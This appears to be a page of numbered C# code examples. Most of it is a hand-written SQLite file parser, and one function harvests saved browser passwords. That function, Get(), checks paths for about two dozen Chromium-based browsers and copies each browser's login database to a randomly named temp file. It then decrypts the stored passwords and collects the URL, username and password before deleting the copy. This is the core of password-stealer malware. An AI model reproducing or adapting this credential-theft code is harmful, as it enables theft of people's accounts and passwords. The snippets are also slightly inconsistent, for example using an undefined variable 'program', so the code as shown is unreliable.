Beispiel #1
0
 private bool ReadTableFromOffset(ulong offset)
 {
     try
     {
         if ((int)this._fileBytes[offset] == 13)
         {
             ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
             int    num2 = 0;
             if (this._tableEntries != null)
             {
                 num2 = this._tableEntries.Length;
                 Array.Resize <Sqlite.TableEntry>(ref this._tableEntries, this._tableEntries.Length + (int)num1 + 1);
             }
             else
             {
                 this._tableEntries = new Sqlite.TableEntry[(int)num1 + 1];
             }
             for (ushort index1 = 0; (int)index1 <= (int)num1; ++index1)
             {
                 ulong num3 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                 if ((long)offset != 100L)
                 {
                     num3 += offset;
                 }
                 int endIdx1 = this.Gvl((int)num3);
                 this.Cvl((int)num3, endIdx1);
                 int endIdx2 = this.Gvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L));
                 this.Cvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L), endIdx2);
                 ulong num4    = num3 + (ulong)((long)endIdx2 - (long)num3 + 1L);
                 int   endIdx3 = this.Gvl((int)num4);
                 int   endIdx4 = endIdx3;
                 long  num5    = this.Cvl((int)num4, endIdx3);
                 Sqlite.RecordHeaderField[] array = (Sqlite.RecordHeaderField[])null;
                 long num6   = (long)num4 - (long)endIdx3 + 1L;
                 int  index2 = 0;
                 while (num6 < num5)
                 {
                     Array.Resize <Sqlite.RecordHeaderField>(ref array, index2 + 1);
                     int startIdx = endIdx4 + 1;
                     endIdx4            = this.Gvl(startIdx);
                     array[index2].Type = this.Cvl(startIdx, endIdx4);
                     array[index2].Size = array[index2].Type <= 9L ? (long)this._sqlDataTypeSize[array[index2].Type] : (!Sqlite.IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L);
                     num6 = num6 + (long)(endIdx4 - startIdx) + 1L;
                     ++index2;
                 }
                 if (array != null)
                 {
                     this._tableEntries[num2 + (int)index1].Content = new string[array.Length];
                     int num7 = 0;
                     for (int index3 = 0; index3 <= array.Length - 1; ++index3)
                     {
                         if (array[index3].Type > 9L)
                         {
                             if (!Sqlite.IsOdd(array[index3].Type))
                             {
                                 if ((long)this._dbEncoding == 1L)
                                 {
                                     this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                 }
                                 else if ((long)this._dbEncoding == 2L)
                                 {
                                     this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                 }
                                 else if ((long)this._dbEncoding == 3L)
                                 {
                                     this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                 }
                             }
                             else
                             {
                                 this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                             }
                         }
                         else
                         {
                             this._tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(this.ConvertToULong((int)((long)num4 + num5 + (long)num7), (int)array[index3].Size));
                         }
                         num7 += (int)array[index3].Size;
                     }
                 }
             }
         }
         else if ((int)this._fileBytes[offset] == 5)
         {
             ushort num1 = (ushort)(this.ConvertToULong((int)((long)offset + 3L), 2) - 1UL);
             for (ushort index = 0; (int)index <= (int)num1; ++index)
             {
                 ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + (int)index * 2, 2);
                 this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + (long)num2), 4) - 1UL) * this._pageSize);
             }
             this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * this._pageSize);
         }
         return(true);
     }
     catch
     {
         return(false);
     }
 }
        private static List <PassData> Get(string basePath)
        {
            if (!File.Exists(basePath))
            {
                return(null);
            }
            string str = "";

            if (basePath.Contains("Chrome"))
            {
                str = "Google";
            }
            if (basePath.Contains("Yandex"))
            {
                str = "Yandex";
            }
            if (basePath.Contains("Orbitum"))
            {
                str = "Orbitum";
            }
            if (basePath.Contains("Opera"))
            {
                str = "Opera";
            }
            if (basePath.Contains("Amigo"))
            {
                str = "Amigo";
            }
            if (basePath.Contains("Torch"))
            {
                str = "Torch";
            }
            if (basePath.Contains("Comodo"))
            {
                str = "Comodo";
            }
            if (basePath.Contains("CentBrowser"))
            {
                str = "CentBrowser";
            }
            if (basePath.Contains("Go!"))
            {
                str = "Go!";
            }
            if (basePath.Contains("uCozMedia"))
            {
                str = "uCozMedia";
            }
            if (basePath.Contains("MapleStudio"))
            {
                str = "MapleStudio";
            }
            if (basePath.Contains("BlackHawk"))
            {
                str = "BlackHawk";
            }
            if (basePath.Contains("CoolNovo"))
            {
                str = "CoolNovo";
            }
            if (basePath.Contains("Vivaldi"))
            {
                str = "Vivaldi";
            }
            if (basePath.Contains("Sputnik"))
            {
                str = "Sputnik";
            }
            if (basePath.Contains("Maxthon"))
            {
                str = "Maxthon";
            }
            if (basePath.Contains("AcWebBrowser"))
            {
                str = "AcWebBrowser";
            }
            if (basePath.Contains("Epic Browser"))
            {
                str = "Epic Browser";
            }
            if (basePath.Contains("Baidu Spark"))
            {
                str = "Baidu Spark";
            }
            if (basePath.Contains("Rockmelt"))
            {
                str = "Rockmelt";
            }
            if (basePath.Contains("Sleipnir"))
            {
                str = "Sleipnir";
            }
            if (basePath.Contains("SRWare Iron"))
            {
                str = "SRWare Iron";
            }
            if (basePath.Contains("Titan Browser"))
            {
                str = "Titan Browser";
            }
            if (basePath.Contains("Flock"))
            {
                str = "Flock";
            }

            List <PassData> result;

            try
            {
                string text = Path.GetTempPath() + "/" + Helper.GetRandomString() + ".fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(basePath, text, true);
                Sqlite          sqlite = new Sqlite(text);
                List <PassData> list   = new List <PassData>();
                sqlite.ReadTable("logins");
                for (int i = 0; i < sqlite.GetRowCount(); i++)
                {
                    try
                    {
                        string text2 = string.Empty;
                        try
                        {
                            byte[] bytes = DecryptChromium(Encoding.Default.GetBytes(sqlite.GetValue(i, 5)), null);
                            text2 = Encoding.UTF8.GetString(bytes);
                        }
                        catch (Exception)
                        {
                        }
                        if (text2 != "")
                        {
                            list.Add(new PassData
                            {
                                Url      = sqlite.GetValue(i, 1).Replace("https://", "").Replace("http://", ""),
                                Login    = sqlite.GetValue(i, 3),
                                Password = text2,
                                Program  = program
                            });
                        }
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }
                File.Delete(text);
                result = list;
            }
            catch (Exception ex2)
            {
                Console.WriteLine(ex2.ToString());
                result = null;
            }
            return(result);
        }
Beispiel #3
0
        private void ReadMasterTable(long offset)
        {
            try
            {
                switch (this._fileBytes[offset])
                {
                case 5:
                    ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
                    for (int index = 0; index <= (int)num1; ++index)
                    {
                        ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + index * 2, 2);
                        if (offset == 100L)
                        {
                            this.ReadMasterTable(((long)this.ConvertToULong((int)num2, 4) - 1L) * (long)this._pageSize);
                        }
                        else
                        {
                            this.ReadMasterTable(((long)this.ConvertToULong((int)(offset + (long)num2), 4) - 1L) * (long)this._pageSize);
                        }
                    }
                    this.ReadMasterTable(((long)this.ConvertToULong((int)offset + 8, 4) - 1L) * (long)this._pageSize);
                    break;

                case 13:
                    ulong num3 = this.ConvertToULong((int)offset + 3, 2) - 1UL;
                    int   num4 = 0;
                    if (this._masterTableEntries != null)
                    {
                        num4 = this._masterTableEntries.Length;
                        Array.Resize <Sqlite.SqliteMasterEntry>(ref this._masterTableEntries, this._masterTableEntries.Length + (int)num3 + 1);
                    }
                    else
                    {
                        this._masterTableEntries = new Sqlite.SqliteMasterEntry[checked ((ulong)unchecked ((long)num3 + 1L))];
                    }
                    for (ulong index1 = 0; index1 <= num3; ++index1)
                    {
                        ulong num2 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                        if (offset != 100L)
                        {
                            num2 += (ulong)offset;
                        }
                        int endIdx1 = this.Gvl((int)num2);
                        this.Cvl((int)num2, endIdx1);
                        int endIdx2 = this.Gvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L));
                        this.Cvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L), endIdx2);
                        ulong  num5     = num2 + (ulong)((long)endIdx2 - (long)num2 + 1L);
                        int    endIdx3  = this.Gvl((int)num5);
                        int    endIdx4  = endIdx3;
                        long   num6     = this.Cvl((int)num5, endIdx3);
                        long[] numArray = new long[5];
                        for (int index2 = 0; index2 <= 4; ++index2)
                        {
                            int startIdx = endIdx4 + 1;
                            endIdx4          = this.Gvl(startIdx);
                            numArray[index2] = this.Cvl(startIdx, endIdx4);
                            numArray[index2] = numArray[index2] <= 9L ? (long)this._sqlDataTypeSize[numArray[index2]] : (!Sqlite.IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L);
                        }
                        if ((long)this._dbEncoding != 1L && (long)this._dbEncoding != 2L)
                        {
                            long dbEncoding = (long)this._dbEncoding;
                        }
                        if ((long)this._dbEncoding == 1L)
                        {
                            this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                        }
                        else if ((long)this._dbEncoding == 2L)
                        {
                            this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                        }
                        else if ((long)this._dbEncoding == 3L)
                        {
                            this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                        }
                        this._masterTableEntries[num4 + (int)index1].RootNum = (long)this.ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]);
                        if ((long)this._dbEncoding == 1L)
                        {
                            this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                        else if ((long)this._dbEncoding == 2L)
                        {
                            this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                        else if ((long)this._dbEncoding == 3L)
                        {
                            this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                    }
                    break;
                }
            }
            catch
            {
            }
        }